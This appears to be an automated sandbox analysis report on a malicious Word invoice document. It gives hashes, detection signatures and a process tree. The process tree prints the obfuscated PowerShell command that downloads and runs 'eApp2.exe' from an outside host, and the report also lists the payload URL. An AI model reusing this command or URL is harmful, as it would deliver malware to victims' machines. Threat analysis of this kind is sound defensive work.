Analysis
-
max time kernel
106s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
14-10-2021 10:19
Behavioral task
behavioral1
Sample
Invoice- 098765 Oil_Field.doc
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
Invoice- 098765 Oil_Field.doc
Resource
win10v20210408
General
-
Target
Invoice- 098765 Oil_Field.doc
-
Size
55KB
-
MD5
8a29b9010eae426089e59eab57bcd1de
-
SHA1
96b75aafab14b177b758d5735f84881f43698c6e
-
SHA256
0b402031b8fe72ed0557559cc41a4b36cbdcdc55dcc015e966aabdb4af8a2fd6
-
SHA512
fa754009bc1118cca669755aab803f5ceda44845fb3956c5da6c18258e1eb527e2d027e6fb9a3390aad376bb1f0419d6039aab21ca1f5c9261bd6f82e514dff5
Malware Config
Extracted
https://secure01wa.2waky.com/a/eApp2.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1840 808 cmd.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 808 WINWORD.EXE 808 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1064 powershell.exe 1064 powershell.exe 1064 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1064 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 808 WINWORD.EXE 808 WINWORD.EXE 808 WINWORD.EXE 808 WINWORD.EXE 808 WINWORD.EXE 808 WINWORD.EXE 808 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 808 wrote to memory of 1840 808 WINWORD.EXE cmd.exe PID 808 wrote to memory of 1840 808 WINWORD.EXE cmd.exe PID 1840 wrote to memory of 1064 1840 cmd.exe powershell.exe PID 1840 wrote to memory of 1064 1840 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice- 098765 Oil_Field.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\enjoyskin.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://secure01wa.2waky.com/a/eApp2.e`xe -Destination C:\Users\Public\Documents\thehigh.e`xe;C:\Users\Public\Documents\thehigh.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Documents\enjoyskin.cmdMD5
230f1498e57ea7fc6045737ec656a244
SHA19ad151dce892dd271927fb929ebecfa42a127162
SHA256808d1c19a1f4b25535e9bf8d2b4023317ef93fcefb08ef5340c1d7538c5f2ded
SHA5126fd461fe8b4658e8dd8db4acde0a67e4a76525fe8c2c20f3bd24fa2a9ef15c8f2145cf6ad7a92e123ac88bdca133965efdd2590717b5e455c92dda8934c73371
-
memory/808-117-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmpFilesize
64KB
-
memory/808-115-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmpFilesize
64KB
-
memory/808-114-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmpFilesize
64KB
-
memory/808-118-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmpFilesize
64KB
-
memory/808-119-0x000001B296BF0000-0x000001B296BF2000-memory.dmpFilesize
8KB
-
memory/808-120-0x000001B296BF0000-0x000001B296BF2000-memory.dmpFilesize
8KB
-
memory/808-121-0x000001B296BF0000-0x000001B296BF2000-memory.dmpFilesize
8KB
-
memory/808-116-0x00007FF8EBA40000-0x00007FF8EBA50000-memory.dmpFilesize
64KB
-
memory/1064-267-0x000002C17DFF0000-0x000002C17DFF2000-memory.dmpFilesize
8KB
-
memory/1064-260-0x0000000000000000-mapping.dmp
-
memory/1064-268-0x000002C17DFF3000-0x000002C17DFF5000-memory.dmpFilesize
8KB
-
memory/1064-417-0x000002C17DFF8000-0x000002C17DFF9000-memory.dmpFilesize
4KB
-
memory/1064-416-0x000002C17DFF6000-0x000002C17DFF8000-memory.dmpFilesize
8KB
-
memory/1840-258-0x0000000000000000-mapping.dmp